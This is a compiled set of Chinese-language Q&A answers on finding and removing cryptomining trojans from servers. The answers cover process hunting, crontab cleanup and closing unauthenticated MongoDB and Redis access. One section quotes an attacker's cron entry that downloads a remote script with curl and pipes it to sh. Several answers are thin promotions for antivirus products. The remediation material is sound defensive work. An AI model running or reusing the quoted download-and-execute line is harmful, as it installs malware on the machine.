伺服器挖礦木馬
1. 伺服器被攻擊並植入kdevtmpfsi挖礦/病毒/木馬
MongoDB庫中的數據莫名其妙沒有了，發覺如下信息：
1、 top -d 5命令 ，查看系統負載情況、是否有未知進程，發現一個名為kdevtmpfsi的進程，經科普它是一個挖礦程序，會佔用伺服器高額的CPU、內存資源。如圖，CPU佔用率高達788.7%，而且是yarn用戶下：
2、 ps -ef |grep kdevtmpfsi 命令查看 該挖礦程序路徑：/tmp/kdevtmpfsi
3、 ps -ef |grep yarn 命令查看更多關於yarn相關進程信息（此時我的伺服器並沒有開啟yarn服務，如果有yarn的相關進程則可判斷是攻擊者開啟的進程），發現另外還有個kinsing進程，經科普kinsing進程是kdevtmpfsi的守護進程：
4、 netstat -lntupaa 命令查看是否有異常的ip,果然發現194.87.102.77這個陌生的ip，判斷是kdevtmpfsi的發出者：
5、經查詢該ip的所在國家是俄羅斯：
6、 find / -iname kdevtmpfsi 命令再次確定命令所在位置以便刪除：
7、 cd /tmp 進入相關目錄：
8、 rm -rf kdevtmpfsi 刪除kdevtmpfsi程序：
9、** kill -9 40422**殺掉kdevtmpfsi進程：
10、發現並沒殺掉所有kdevtmpfsi進程，再次查找yarn的相關進程（因為之前已確認病毒是在yarn下），果真還有kdevtmpfsi進程存在：
11、用命令 批量殺掉 相關進程：
12、刪除kinsing文件：
13、現在，已經把挖礦程序及相關進程刪除掉了，但是還有兩處沒做處理：
14、 crontab -l 命令先看看crontab的定時任務列表吧：
15、編寫刪除挖礦程序腳本 kill_kdevtmpfsi.sh ：
16、新增 定時任務 並刪除攻擊者的挖礦定時任務：
17、 crontab -l命令 查看現在只有殺進程的定時任務了：
18、禁止黑客的IP地址。
最初安裝MongoDB時，並未設置密碼認證，存在漏洞，導致黑客通過漏洞攻擊伺服器，並在程序里植入木馬/病毒。單純的kill -9 id殺掉病毒進程是殺不徹底的，治標不治本，應該定時刪除病毒進程，禁止攻擊者IP，重新安裝系統或相關軟體。
經過幾天的觀察，伺服器運行正常，再沒有被黑客攻擊成功。
2. 求助伺服器被挖礦程序入侵，如何排查
新客戶於最近向我們SINE安全公司咨詢，說他的伺服器經常卡的網站無法打開，遠程連接
伺服器的慢的要命，有時候PING值都達到300-500之間，還經常掉包，聽客戶這么一說，一般
會判斷為受到了CC+DDOS混合流量攻擊，再具體一問，說是機房那面沒有受到流量攻擊，這
就有點奇怪了，不是流量攻擊，還導致伺服器卡，網站無法打開，這是什麼攻擊？為了解決客
戶伺服器卡的問題，我們隨即安排安全工程師對他的Linux伺服器進行了安全檢測與安全部署。
挖礦木馬還設計了挖礦進程如果被客戶強制停止後，會自動啟動繼續挖礦，達到不間斷的挖礦，
仔細檢查發現是通過設置了每個小時執行任務計劃，遠程下載shell挖礦木馬，然後執行，檢查
當前進程是否存在，不存在就啟動挖礦木馬，進行挖礦。
對客戶的linux伺服器進行詳細了安全檢測發現幸虧沒有加密伺服器的數據，以及感染蠕蟲的病
毒，如果數據被加密那損失大了，客戶是做平台的，裡面的客戶數據很重要，找出挖礦木馬後，
客戶需要知道伺服器到底是如何被攻擊的？ 被上傳挖礦木馬的？ 防止後期再出現這樣的攻擊
狀況。
通過我們安全工程師的安全檢測與分析，發現該伺服器使用的是apache tomcat環境，平台的開
發架構是JSP+oracle資料庫，apache tomcat使用的是2016年的版本，導致該apache存在嚴重
的遠程執行命令漏洞，入侵者可以通過該漏洞直接入侵伺服器，拿到伺服器的管理員許可權，
SINE安全工程師立即對apache 漏洞進行修復，並清除木馬，至此問題得以解決，客戶伺服器
一切穩定運行，網站打開正常。
3. NSABuffMiner挖礦木馬是什麼玩意
電腦中毒最麻煩了，而且你的電腦中的病毒看來很棘手的，不過現在殺毒軟體種類很多的，你可以選擇另一款，開機重啟後從安全模式進入，我用的是騰訊電腦管家的，殺毒效果很好的，網頁防火牆雙重防線、全面攔截不良網頁、網路流量監控功能、新增特色功能，全面管理網路使用，上網更快更隨心、垃圾清理更全面、清理系統垃圾更徹底，令系統健步如飛、更輕松，而且佔用的內存小，能夠很好的保衛系統的安全性
4. 怎麼查殺KoiMiner挖礦木馬嗎
別亂下載，安裝，安裝殺軟，清理軟體
Webfreer是一款基於chromium開源項目進行開發的瀏覽器，不法分子通過插入惡意代碼，然後重新編譯生成木馬程序。由於開源項目的原因，該類木馬程序容易被殺毒軟體判白。
5. 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權， 在沒有找到根源前，千萬不要刪除 minerd，因為刪除了，過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top，查看了一會，沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句：
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下，感興趣的可以研究下：
View Code
解決minerd並不是最終的目的，主要是要查找問題根源，我的伺服器問題出在了redis服務了，黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權，http://blog.jobbole.com/94518/然後就注入了病毒，下面是解決辦法和清除工作：
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」，區分普通用戶和admin許可權，普通用戶將會被禁止運行某些命令，如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表，是不是有你不認識的用戶添加進來。 如果有就刪除掉.
6. tasklsv.exe挖礦病毒如何徹底清除
請勿訪問陌生網站，在陌生網站瀏覽、下載很可能導致中毒。
若電腦中存在木馬或者病毒程序，安裝一款安全軟體（例如：電腦管家等）。使用安全軟體進行掃描全盤即可發現病毒並刪除。若無法處理或者出現錯誤請嘗試備份重要資料後重新安裝系統。
若手機中存在木馬或者病毒程序，安裝一款安全軟體（例如：手機管家等）。以手機管家為例，打開手機管家，點擊主界面上的一鍵體檢即可自動檢測手機中存在的病毒，點擊一鍵清除即可刪除。
7. 什麼是挖礦木馬
就是會讓你電腦自動挖礦的病毒
殺毒軟體直接殺毒不就得了么
安裝個電腦管家到電腦上
然後使用病毒查殺，對著你的電腦殺毒就行了
8. 伺服器集群感染了挖礦木馬該怎麼辦
企業電腦可以去騰訊安全申請個騰訊御點
然後使用這個軟體選擇左側的病毒查殺
用來對伺服器裡面的木馬病毒進行查殺了檢測就行
9. 阿里雲windows伺服器中了挖礦的病毒怎麼清理
光刪除沒用的，因為沒有解決好漏洞。
建議是重做系統，然後找護衛神給你做一下系統安全加固，把漏洞徹底堵住才有效果。
10. 中挖礦病毒的表現
故障現象：使用過程中，發現經常有服務無故關閉，登錄伺服器經檢查，發現CPU使用率達到100%。在檢測異常進程中，未發現CPU使用率異常的進程（使用 top、htop 以及 ps -aux 進行檢查），於是報障。
檢測過程：
1.找到他shell腳本對應目錄把目錄或者文件刪除。
2.檢查定時任務是否存在挖礦木馬文件在定時任務中，避免定時運行挖礦木馬文件。
3.添加hosts挖礦病毒訪問對應網站，避免二次訪問並下載。
4.排查liunx命令是否損壞，如損壞下載"procps-3.2.8"並編譯，恢復top等系列命令。
5.檢測進程是否異常。
6.排查入侵入口，例如 redis是否存在弱口令，nginx或者apache上面的網站程序是否存在漏洞，並排查下nginx或者apache日誌審查漏洞所在處。
7.排查ssh登錄日誌。
8.把ssh登錄切換成秘鑰登錄。
9.重啟伺服器，檢查是否進程是否正常。